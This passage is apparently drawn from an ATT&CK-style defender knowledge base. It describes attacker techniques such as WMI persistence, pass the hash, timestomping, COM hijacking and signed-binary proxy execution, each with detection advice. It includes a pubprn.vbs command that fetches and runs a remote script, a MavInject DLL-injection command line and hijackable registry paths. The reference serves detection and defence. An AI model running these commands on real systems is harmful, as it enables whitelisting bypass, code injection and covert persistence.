Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer’s uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
Detection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)
Platforms: Windows
Data Sources: WMI Objects
Permissions Required: Administrator, SYSTEM
Links |
https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf |
Disabling Security Tools - T1089
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Detection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters
Defense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis
Links |
Peripheral Device Discovery - T1120
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows
Permissions Required: User, Administrator, SYSTEM
Links |
Data Compressed - T1002
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.
If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring
Requires Network: No
Links |
Account Discovery - T1087
Adversaries may attempt to get a listing of local system or domain accounts.
===Windows===
Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.
===Mac===
On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
===Linux===
On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.
Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring, Process command-line parameters, Process monitoring
Permissions Required: User
Contributors: Travis Smith, Tripwire
Links |
Pass the Hash - T1075
Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)
Detection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
Platforms: Windows
Data Sources: Authentication logs
System Requirements: Requires Microsoft Windows as target system
Contributors: Travis Smith, Tripwire
Links |
Source - T1153
The <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>. /path/to/filename [arguments]</code>. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.
Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
Detection: Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.
Platforms: Linux, macOS
Data Sources: Process Monitoring, File monitoring, Process command-line parameters
Permissions Required: User
Remote Support: No
Links |
Timestomp - T1099
Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.
Platforms: Linux, Windows
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Defense Bypassed: Host forensic analysis
Permissions Required: User, Administrator, SYSTEM
Links |
http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html |
Brute Force - T1110
Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.
Credential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)
Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization’s login failure policies. (Citation: Cylance Cleaver)
A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
Detection: It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.
Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.
Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.
Platforms: Linux, macOS, Windows
Data Sources: Authentication logs
Permissions Required: User
Contributors: John Strand
Links |
Modify Registry - T1112
Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.
Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).
The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system’s Windows Admin Shares for RPC communication.
Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.
Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Platforms: Windows
Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters
Defense Bypassed: Host forensic analysis
Permissions Required: User, Administrator, SYSTEM
Contributors: Bartosz Jerzman, Travis Smith, Tripwire
Links |
Password Filter DLL - T1174
Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)
Detection: Monitor for change notifications to and from unfamiliar password filters.
Newly installed password filters will not take effect until after a system reboot.
Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)
Platforms: Windows
Data Sources: DLL monitoring, Windows Registry, Process monitoring
Permissions Required: Administrator, SYSTEM
Contributors: Vincent Le Toux
Space after Filename - T1151
Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Detection: It’s not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user’s perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.
Platforms: Linux, macOS
Data Sources: File monitoring, Process Monitoring
Permissions Required: User
Contributors: Erye Hernandez, Palo Alto Networks
Links |
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ |
Screen Capture - T1113
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.
===Mac===
On OSX, the native command <code>screencapture</code> is used to capture screenshots.
===Linux===
On Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)
Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring, Process monitoring, File monitoring
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
Exploitation of Remote Services - T1210
Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Scanning or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.
Detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.
Platforms: Linux, Windows, macOS
Data Sources: Windows Error Reporting, Process Monitoring, File monitoring
Permissions Required: User
System Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network.
Links |
Indicator Removal from Tools - T1066
If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.
A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
Detection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.
Platforms: Linux, macOS, Windows
Data Sources: Process use of network, Anti-virus, Binary file metadata, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems
Links |
Change Default File Association - T1042
When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access. (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\[handler]\shell\[action]\command</code>. For example: *<code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code> *<code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code> *<code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>
The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to execute arbitrary commands.
Detection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.
User file association preferences are stored under <code> [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user’s preference will occur under this entry’s subkeys.
Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.
Platforms: Windows
Data Sources: Windows Registry, Process command-line parameters, Process monitoring
Permissions Required: User, Administrator, SYSTEM
Contributors: Stefan Kanthak, Travis Smith, Tripwire
Links |
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs |
Signed Script Proxy Execution - T1216
Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.
PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: <code>cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>
There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)
Detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting, Digital Certificate Validation
Permissions Required: User
Remote Support: No
Contributors: Praetorian
Links |
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ |
Email Collection - T1114
Adversaries may target user email to collect sensitive information from a target.
Files containing email data can be acquired from a user’s system, such as Outlook storage or cache files .pst and .ost.
Adversaries may leverage a user’s credentials and interact directly with the Exchange server to acquire information from within a network.
Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.
Detection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.
Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows
Data Sources: Authentication logs, File monitoring, Process monitoring, Process use of network
Links |
System Information Discovery - T1082
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
===Windows===
Example commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.
===Mac===
On Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: User
Links |
System Network Connections Discovery - T1049
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
===Windows===
Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net.
===Mac and Linux ===
In Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session".
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Linux, macOS, Windows
Data Sources: Process command-line parameters, Process monitoring
Permissions Required: User, Administrator
Links |
Local Job Scheduling - T1168
On Linux and Apple systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
===cron===
System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on Mac and Linux systems.
Those methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.
===at===
The at program is another means on Linux-based systems, including Mac, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.
===launchd===
Each launchd job is described by a different configuration property list (plist) file similar to Launch Daemon or Launch Agent, except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.
Detection: Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.
Platforms: Linux, macOS
Data Sources: File monitoring, Process Monitoring
Permissions Required: Administrator, User, root
Contributors: Anastasios Pingios
Two-Factor Authentication Interception - T1111
Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.
If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)
Other hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.
Detection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.
Platforms: Linux, macOS, Windows
Permissions Required: Administrator, SYSTEM
System Requirements: Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.
Out-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.
Hardware token: Access to the seed and algorithm of generating one-time codes.
Contributors: John Lambert, Microsoft Threat Intelligence Center
Links |
Execution through API - T1106
Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)
Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)
*CreateProcessA() and CreateProcessW(), *CreateProcessAsUserA() and CreateProcessAsUserW(), *CreateProcessInternalA() and CreateProcessInternalW(), *CreateProcessWithLogonW(), CreateProcessWithTokenW(), *LoadLibraryA() and LoadLibraryW(), *LoadLibraryExA() and LoadLibraryExW(), *LoadModule(), *LoadPackagedLibrary(), *WinExec(), *ShellExecuteA() and ShellExecuteW(), *ShellExecuteExA() and ShellExecuteExW()
Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.
Platforms: Windows
Data Sources: API monitoring, Process monitoring
Permissions Required: User, Administrator, SYSTEM
Remote Support: No
Contributors: Stefan Kanthak
Links |
Component Object Model Hijacking - T1122
The (Citation: Microsoft Component Object Model) (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>. (Citation: Endgame COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
Platforms: Windows
Data Sources: Windows Registry, DLL monitoring, Loaded DLLs
Defense Bypassed: Autoruns Analysis
Permissions Required: User
Contributors: ENDGAME
Clipboard Data - T1115
Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.
===Windows===
Applications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard)
===Mac===
OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents (Citation: Operating with EmPyre).
Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.
Platforms: Linux, macOS, Windows
Data Sources: API monitoring
Links |
Hidden Window - T1143
The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application’s icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don’t also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window (Citation: Antiquated Mac Malware).
Detection: Plist files are ASCII text files with a specific format, so they’re relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.
Platforms: macOS
Data Sources: File monitoring
Permissions Required: User
Links |
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ |
Domain Fronting - T1172
Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.
Detection: If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)
Platforms: Linux, macOS, Windows
Data Sources: SSL/TLS inspection, Packet capture
Requires Network: Yes
Contributors: Matt Kelly, @breakersall
Links |
LC_MAIN Hijacking - T1149
As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
Detection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.
Platforms: macOS
Data Sources: Binary file metadata, Malware reverse engineering, Process Monitoring
Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path
Permissions Required: User, Administrator
Signed Binary Proxy Execution - T1218
Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.
===Mavinject.exe=== Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)
<code>"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL> C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL></code>
===SyncAppvPublishingServer.exe=== SyncAppvPublishingServer.exe can be used to run powershell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)
Several others binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)
Detection: Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters
Defense Bypassed: Application whitelisting, Digital Certificate Validation
Permissions Required: User
Remote Support: No
Contributors: Praetorian
Links |
InstallUtil - T1118
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
